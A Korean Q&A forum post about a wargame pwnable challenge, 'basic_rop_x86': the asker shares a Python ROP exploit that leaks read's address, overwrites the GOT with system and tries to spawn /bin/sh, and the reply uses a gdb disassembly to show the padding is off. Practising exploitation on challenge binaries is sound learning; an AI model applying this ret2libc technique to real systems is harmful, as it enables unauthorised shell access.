Question

payload = "a"*0x40 # dummy
payload += "a" * 4 # sfp

payload += p32(read_plt)
payload += p32(pppr) # pop pop pop ret
payload += p32(0)
payload += p32(bss)
payload += p32(8)

payload += p32(write_plt)
payload += p32(pppr)
payload += p32(1)
payload += p32(read_got)
payload += p32(4)

payload += p32(read_plt)
payload += p32(pppr)
payload += p32(0)
payload += p32(read_got)
payload += p32(4)

payload += p32(read_plt)
payload += "aaaa"
payload += p32(bss)

p.sendline(payload)

p.send(binsh)

p.recv(0x40)

read_address = int(p.recv(4)[::-1].encode("hex"),16)
libc_base = read_address - read_offset
system_address = libc_base + system_offset

p.send(p32(system_address))

p.interactive()

파이썬으로 exploit코드를 다음과 같이 짰습니다.
read를 통해 bss영역에 /bin/sh를 저장시키고
write를 통해 read address를 leak했습니다.
제공된 libc.so.6을 통해 system함수와 read함수의 offset을 찾았습니다.
이를 통해 libc base를 얻을 수 있고 system함수의 offset을 더해서
address를 구해 read함수로 read_got에
system address를 overwrite했습니다
그 다음 read함수(system)을 호출해 exploit하는 건데
어느 코드부분이 잘 못 되었는데 쉘이 안따집니다ㅠㅠ

#pwnable

Answer 1

$ gdb ./basic_rop_x86 -q
Reading symbols from ./basic_rop_x86...(no debugging symbols found)...done.
gdb-peda$ disas main
Dump of assembler code for function main:
   0x080485d9 <+0>:     push   ebp
   0x080485da <+1>:     mov    ebp,esp
   0x080485dc <+3>:     push   edi
   0x080485dd <+4>:     sub    esp,0x40
   0x080485e0 <+7>:     lea    edx,[ebp-0x44]
   0x080485e3 <+10>:    mov    eax,0x0
   0x080485e8 <+15>:    mov    ecx,0x10
   0x080485ed <+20>:    mov    edi,edx
   0x080485ef <+22>:    rep stos DWORD PTR es:[edi],eax
   0x080485f1 <+24>:    call   0x8048592 <initialize>
   0x080485f6 <+29>:    push   0x400
   0x080485fb <+34>:    lea    eax,[ebp-0x44]
   0x080485fe <+37>:    push   eax
   0x080485ff <+38>:    push   0x0
   0x08048601 <+40>:    call   0x80483f0 <read@plt>
   0x08048606 <+45>:    add    esp,0xc
   0x08048609 <+48>:    push   0x40
   0x0804860b <+50>:    lea    eax,[ebp-0x44]
   0x0804860e <+53>:    push   eax
   0x0804860f <+54>:    push   0x1
   0x08048611 <+56>:    call   0x8048450 <write@plt>
   0x08048616 <+61>:    add    esp,0xc
   0x08048619 <+64>:    mov    eax,0x0
   0x0804861e <+69>:    mov    edi,DWORD PTR [ebp-0x4]
   0x08048621 <+72>:    leave
   0x08048622 <+73>:    ret
End of assembler dump.

buf = [ebp - 0x44] 입니다. 보통 리턴 주소는 [ebp+0x4]로 알고 있습니다. (x64는 보통 [rbp+0x8]입니다.)

payload = "a"*0x40 # dummy
payload += "a" * 4 # sfp

패딩을 바꾸시면 되실겁니다.

2020.11.09. 21:06